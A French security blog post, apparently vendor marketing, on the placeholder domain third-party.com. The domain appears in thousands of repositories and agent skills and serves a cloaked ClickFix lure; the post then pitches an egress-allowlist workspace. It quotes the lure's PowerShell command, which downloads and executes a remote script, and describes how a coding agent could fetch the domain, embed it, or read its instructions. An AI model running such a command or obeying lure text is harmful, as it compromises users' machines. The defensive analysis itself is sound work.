← Retour à tous les articles
Publié le · par Renaud Deraison

Le skill pointait vers third-party.com, et third-party.com a répondu

Manifold Security a trouvé third-party.com, un bouche-trou de documentation présent dans 1 500 fichiers répartis sur 1 700 dépôts dont Chromium, Vercel et Brave, et jusque dans des skills d'agents publics, qui sert un leurre ClickFix depuis juin. Quelqu'un a enregistré le domaine en 1996. Il renvoie une page propre à tout ce qui ressemble à un scanner, et la seule blocklist qui l'a signalé a renoncé dix jours plus tard. Un nom d'hôte est la seule dépendance pour laquelle aucun lockfile n'a de ligne, et Bromure Agentic Coding y répond par la liste des endroits que le workspace a le droit d'appeler.

Une dépendance que vous auditez a une version, un mainteneur et une ligne dans un lockfile. Le nom d'hôte d'une URL d'exemple a un propriétaire et rien d'autre, et les propriétaires changent d'avis.

Vous demandez à l'agent de charger un widget en lazy-load. Il ouvre un skill que vous avez installé il y a des mois, lit le snippet Liquid que ce skill propose comme implémentation de référence, et le src du snippet est https://third-party.com/widget.js.

Vous y lisez un blanc à remplir. L'agent y lit un nom d'hôte qui se résout, un serveur qui répond, et un propriétaire qui décide de ce que sera la réponse. « Placeholder » est une convention entre gens qui écrivent de la documentation pour d'autres gens. Ce n'est pas une propriété de la chaîne de caractères.

Le domaine présent dans 1 700 dépôts

Le 23 septembre, Ax Sharma et Cody Nash, de Manifold Security, ont publié une analyse de third-party.com, un domaine que la plupart des développeurs connaissent comme bouche-trou. The Hacker News l'a couvert le lendemain. Depuis juin 2026 au moins, le domaine sert un leurre ClickFix : la page place une commande dans votre presse-papiers, puis vous demande de la coller quelque part qui l'exécutera.

Une phrase de l'analyse porte toute la prémisse : « Contrairement à example[.]com, third-party[.]com n'est pas réservé par l'IANA. N'importe qui pouvait l'enregistrer, et quelqu'un l'a fait. » Quelqu'un l'a enregistré en 1996 chez Network Solutions, et il a changé de mains comme n'importe quel autre domaine depuis, avec trente ans d'historique propre derrière lui.

Une recherche de code sur GitHub renvoie plus de 1 500 fichiers répartis sur plus de 1 700 dépôts. Manifold cite Chromium, Sanity, Vercel, Brave et HackTricks parmi eux. Et third-party.com n'est pas seul : The Hacker News dénombre treize autres bouche-trous non réservés qui servent aujourd'hui des scarewares, de fausses alertes de sécurité et des arnaques à l'investissement, parmi lesquels yourdomain.com, yoursite.com, myapp.com, acme.com, company.com et vendor.com, à travers des centaines de milliers de fichiers GitHub et des centaines de skills d'agents.

Un navigateur Windows reçoit une fausse page de vérification Cloudflare. Du JavaScript écrit dans le presse-papiers via un textarea caché et un événement copy détourné, et la page vous dit d'appuyer sur Win+R, puis Ctrl+V, puis Entrée. Désobfusqué, le presse-papiers contient :

powershell "Write-Host(&{iex(irm('elxxvvx[.]xyz/f'))})2>$null"

irm récupère un script en HTTPS, iex l'exécute en mémoire, et 2>$null avale les erreurs. La page y ajoute une chaîne leurre, « Security check, I'm not a robot, Verification ID » suivie de quelques chiffres, pour que la boîte de dialogue Exécuter affiche quelque chose de proche de ce que la page demandait.

Il renvoie une page propre à tout ce qui vérifie

La charge compte moins que la sélection. Le serveur choisit qui la voit, requête par requête.

Manifold, mot pour mot : « Interrogez ce domaine depuis une plage de datacenter, depuis un crawler Linux, depuis tout ce qui n'est pas la victime visée, et il renvoie une page propre. » Un Mac reçoit un refus : « macOS is not supported. This website requires a Windows PC to access. » Le leurre ne se déclenche que pour le visiteur pour lequel l'opérateur l'a écrit.

La blocklist d'IPFire a signalé le domaine le 7 juillet 2026 et l'a retiré dix jours plus tard, le 17 juillet. Celui qui maintient cette liste n'a pas pu reproduire la réponse malveillante, parce que le serveur ne la lui sert pas. Trois mois après, le domaine est vivant, toujours masqué, et toujours présent dans 1 700 dépôts.

Les flux de réputation n'ont rien à transporter ici, et il n'y a aucun avis de sécurité auquel s'abonner. Personne n'a compromis ce domaine. Quelqu'un le possède.

Les porteurs incluent les skills de votre agent

Manifold est allé chercher dans les endroits que lisent les agents et a trouvé la chaîne dans trois skills publics.

shopify-expert, dans jeffallan/claude-skills (environ 11 000 étoiles), l'utilise dans un snippet Liquid de chargement différé d'un widget tiers. alova-server-usage, dans alovajs/skills, l'utilise dans un exemple de passerelle OAuth. Et dynamic-dashboard-builder, de ClawHub, l'utilise à l'intérieur d'un bloc intitulé « Wrong: Hardcoded endpoint, NEVER do this. »

Ce contre-exemple est une URL vivante. Trois appels d'outils plus tard, au moment où le modèle écrit le code, il lui faut avoir transporté le cadre « ne-faites-pas-ça » en même temps que la chaîne, et la chaîne est identique dans les deux cas.

Un nom d'hôte de documentation atteint le réseau de trois façons, et une seule session peut emprunter les trois :

  • Il le récupère. Les skills et les docs de serveurs MCP sont pleins d'endpoints, et un agent qui vérifie si un snippet fonctionne les résout. Ce qui revient arrive dans le contexte du modèle comme une sortie d'outil ordinaire.
  • Il l'écrit. Le snippet atterrit dans vos sources, le diff passe la revue, et l'attribut src que personne n'a lu part vers les navigateurs de vos utilisateurs. Manifold documente le leurre qui se déclenche sur les navigateurs Windows, ce qu'une bonne partie de ces utilisateurs font tourner.
  • Il y lit des instructions. ClickFix s'adresse à celui qui lit. La version d'aujourd'hui vise une personne devant un clavier Windows, et un agent Linux reçoit la page « not supported ». Le serveur profile déjà ses appelants et sert trois réponses différentes. Une quatrième réponse, pour les clients qui ressemblent à des agents, coûte à l'opérateur une ligne de configuration.
Une chaîne dans la doc, et les quatre réponses derrière1 500 fichiers, 1 700 dépôtsREADME.mddocs de serveurs MCPshopify-expert/SKILL.mddynamic-dashboard-builderle dernier le donne en contre-exemplel'agent lit,puis résoutthird-party.comenregistré en 1996, non réservéprofile chaque appelantle propriétaire choisit la réponseun navigateur Windowsfausse vérif Cloudflare → presse-papiersun Mac« macOS is not supported »un crawler, un datacenter, un scannerune page propre, à chaque foisce que contient le presse-papiers, désobfusquépowershell "Write-Host(&{iex(irm('elxxvvx.xyz/f'))})2>$null"la conséquence côté réputationIPFire : signalé le 7 juil. · retiré le 17et pourquoi aucun de vos contrôles existants n'a d'avis là-dessuspas de version à épingler · pas de mainteneur · pas de ligne de lockfile · pas de SBOM · pas de CVE · pas d'advisoryil ne devient réel qu'une fois : quand quelque chose ouvre une connexion
Le même nom d'hôte, quatre réponses différentes. Quelqu'un a enregistré third-party.com en 1996, et il apparaît aujourd'hui dans plus de 1 500 fichiers : des README, des docs de serveurs MCP et des skills d'agents, dont un qui s'en sert comme contre-exemple. Le serveur choisit sa réponse en fonction de qui demande. Un navigateur Windows reçoit la fausse page Cloudflare et un presse-papiers plein de PowerShell. Un Mac reçoit un refus. Un scanner ou un crawler de datacenter reçoit une page propre, ce qui explique qu'IPFire ait signalé le domaine le 7 juillet 2026 et l'ait retiré dix jours plus tard. Aucun manifeste, lockfile ou SBOM n'a de ligne pour un nom d'hôte.

Un bouche-trou est une dépendance que personne n'a déclarée

L'outillage de supply chain travaille sur des artefacts qui ont une identité. Un paquet a un nom, une version, un registre, une date de publication et un mainteneur, donc vous pouvez l'épingler, lui imposer un délai de quarantaine, vérifier sa provenance et le comparer à celui de la semaine dernière. Un nom d'hôte dans un commentaire n'a qu'une seule de ces propriétés : un propriétaire. Aucun outil de votre pipeline ne le résout, ne l'enregistre, ni ne vous prévient quand il change de mains. Le contrôle qui atteint un bouche-trou doit porter sur les connexions plutôt que sur les artefacts.

Dans un workspace Bromure

Dans Bromure Agentic Coding, le trafic sortant d'un workspace est une table de règles ordonnée. Les règles s'évaluent de haut en bas, la première qui correspond gagne, et un contrôle segmenté Trafic non filtré fixe le défaut à Autoriser ou Refuser. Chaque règle porte une action, un protocole (tcp, udp, web ou any), un hôte ou un CIDR, des ports, et pour les règles web une liste de méthodes HTTP. Les noms d'hôtes se comparent par suffixe, donc example.com couvre l'apex et tous ses sous-domaines. La forme canonique est une règle par ligne, terminée par default allow ou default deny :

allow tcp github.com:443
allow tcp registry.npmjs.org:443
allow web api.yourcompany.internal GET,POST
default deny

Un nom d'hôte qui n'existe que comme convention typographique n'est pas sur cette liste. Vous avez écrit la liste à partir des endroits que le travail atteint, et les chaînes bouche-trous n'apparaissent pas dans cet ensemble. Le workspace n'a jamais à apprendre que third-party.com est hostile, ce qui aide, puisque aucun flux ne le dit. Il n'a qu'une chose à constater : third-party.com n'est pas github.com.

Votre Mac applique le jeu de règles deux fois. Le commutateur réseau virtuel compare chaque flux par IP de destination et par nom d'hôte capté en DNS, en TCP comme en UDP, et le proxy hôte compare de nouveau par nom de serveur TLS et, pour les règles web, par méthode HTTP individuelle. Le commutateur détourne le trafic des ports 80 et 443 de la VM vers le proxy sans aucune variable d'environnement et sans rien que l'invité puisse désactiver. Les modifications de règles atteignent immédiatement les sessions en cours, ce qui vous permet de resserrer un workspace sans redémarrer un agent au milieu d'une tâche.

L'agent sur un portablelit le skill, résout la chaîneGET https://third-party.com/widget.jsrien ne s'interpose entre le processus et le DNSla réponse arrive dans la fenêtre de contextece que le propriétaire a choisi de servir à cet appelantet le snippet garde le nom d'hôte jusqu'à la revuepas de CVE, pas d'advisory, pas de ligne de lockfileet la blocklist a rendu son verdict dès juilletvous l'apprenez quand un navigateur client l'apprendaucune trace que ce nom d'hôte ait jamais été contactéL'agent dans un workspace Bromurelit le même skill, dans un invité UbuntuGET https://third-party.com/widget.js:80 et :443 détournés vers le proxy hôtefiltré deux fois, sur le Macswitch : IP de destination + hôte vu en DNSproxy : nom de serveur TLS + méthode HTTPaucune règle ne correspond → default denyet un faux secret hors périmètre renvoie 451, VM en pauseSecurity Timeline, ligne Firewallthird-party.com:443 tcp — bloqué
Le même fichier de skill, deux machines. Sur un portable, l'agent résout le bouche-trou parce que rien ne s'interpose entre lui et le DNS, la page récupérée atterrit dans le contexte du modèle, et le snippet entre dans vos sources avec le nom d'hôte intact. Dans un workspace Bromure, l'hôte filtre la connexion deux fois, par IP de destination et nom d'hôte capté en DNS au commutateur virtuel, puis par nom de serveur TLS au proxy, contre la liste des endroits que le travail doit atteindre. Le trafic non filtré réglé sur Refuser met fin à l'affaire, et le refus devient une ligne Firewall qui nomme le nom d'hôte, ce qui vous permet de retrouver la chaîne dans votre propre production avant qu'elle n'atteigne les navigateurs de vos utilisateurs.

La ligne Firewall atteint votre diff

Bloquer la connexion met fin à la récupération. Sortir la chaîne de vos sources demande la ligne.

Chaque verdict du pare-feu atterrit dans la fenêtre Security Timeline comme une entrée Firewall (l'exemple du manuel lui-même se lit evil.example:443 tcp — blocked), dans une table chronologique unique aux côtés des échanges de credentials, des décisions de supply chain, des applications de garde-fous et des détections d'injection de prompt, en couleurs et filtrable.

La première fois que quoi que ce soit dans la session résout un nom d'hôte que vous n'avez pas listé, ce nom d'hôte est à l'écran avec un horodatage et le workspace dont il provient. Vous revenez au diff, vous trouvez l'attribut src, et vous le corrigez avant que la branche ne soit fusionnée. La sortie réseau seule ne peut pas atteindre cette moitié de l'histoire, parce que dans le cas « il l'écrit », c'est le navigateur de quelqu'un d'autre qui fera la requête dangereuse, des semaines plus tard.

Deux autres contrôles se trouvent sur le chemin, et tous deux méritent d'être activés.

Les détecteurs d'injection de prompt notent le contenu non fiable sur sa route vers le modèle, c'est-à-dire le contenu des fichiers, les pages web et les sorties d'outils transportées dans des blocs tool_result, avec un classifieur Prompt Guard local qui s'exécute sur l'appareil et n'envoie rien hors du Mac. Le texte ClickFix est une instruction adressée à quiconque le lit, exactement la forme sur laquelle ce classifieur a été entraîné. Il tourne dans le proxy hôte, où un agent dans la VM ne peut pas le désactiver, et vous choisissez ce que fait une détection : la journaliser, mettre en pause et vous montrer le texte signalé, ou refuser la requête avec un HTTP 451 que le modèle ne voit jamais.

La frontière réseau couvre le cas où une doc convainc l'agent de s'authentifier auprès du bouche-trou. Aucun fichier, aucune variable d'environnement ni aucun processus dans la VM ne détient une vraie clé d'API, un vrai token OAuth, un vrai secret AWS ou une vraie clé privée SSH. L'invité reçoit un faux qui préserve la structure, et l'hôte y substitue la vraie valeur pour le seul hôte pour lequel ce credential a été émis. Le proxy scanne les en-têtes et le corps de chaque requête sortante à la recherche de ces faux, avec un automate d'Aho-Corasick. Un faux qui part là où il n'a rien à faire reçoit un HTTP 451 sans qu'un seul octet soit transmis, met la VM en pause, écrit une ligne rouge Credential brokering et marque le workspace comme compromis, si bien que votre prochain lancement vous propose d'effacer son disque et son répertoire personnel tout en conservant vos tokens et vos réglages.

Réservez vos bouche-trous

example.com, example.org, example.net et le TLD .example sont réservés par l'IANA, et personne ne peut les acheter. third-party.com, acme.com et yourcompany.com sont des domaines ordinaires. Passez vos skills, vos configurations MCP et vos README au grep pour ceux que personne n'a réservés.

Écrivez la liste des destinations une fois

Un workspace a besoin d'un ensemble d'hôtes court et stable : votre forge, votre registre, votre endpoint de modèle, votre API. Réglez le trafic non filtré sur Refuser, et les noms d'hôtes auxquels personne n'a pensé, bouche-trous compris, sont traités sans que personne ait à les nommer.

N'autorisez pas un domaine pour faire taire un scanner

C'est la recommandation de Manifold elle-même. Ajoutez un domaine à une liste d'autorisation pour qu'un contrôle passe au vert, et vous avez promis de faire confiance à son propriétaire pour toujours, sans l'avoir jamais rencontré.

Lisez les lignes Firewall

Un nom d'hôte bloqué que vous ne reconnaissez pas vous dit quelle chaîne l'agent a ramassée, et vous indique l'endroit du diff où vous la trouverez.

Quelqu'un a acheté un domaine

Personne n'a empoisonné un registre, pris le contrôle d'un compte de mainteneur, typosquatté un paquet, subverti un pipeline de CI ni trompé un modèle. Quelqu'un a acheté un domaine qui était à vendre, comme il l'était depuis 1996, et l'a pointé vers un serveur web.

L'industrie a répondu au risque de supply chain en donnant aux artefacts de meilleures identités : attestations de provenance, signatures sigstore, SBOM, digests épinglés. Ce travail est bon, et il ne touche pas à ceci, parce que la chose présente dans 1 700 dépôts est une chaîne de caractères plutôt qu'un artefact. Des développeurs l'ont recopiée d'un README au suivant pendant des années, et elle n'existe comme chose réelle que le temps d'une résolution DNS et d'une connexion TCP.

Gouvernez ce moment. Donnez au workspace la liste des endroits où va le travail, appliquez-la quelque part où l'agent ne peut pas l'atteindre, et lisez les lignes à la recherche de noms que vous n'y avez pas mis. Un bouche-trou qui ne se résout pas redevient le morceau de typographie inoffensif que vous croyiez qu'il était.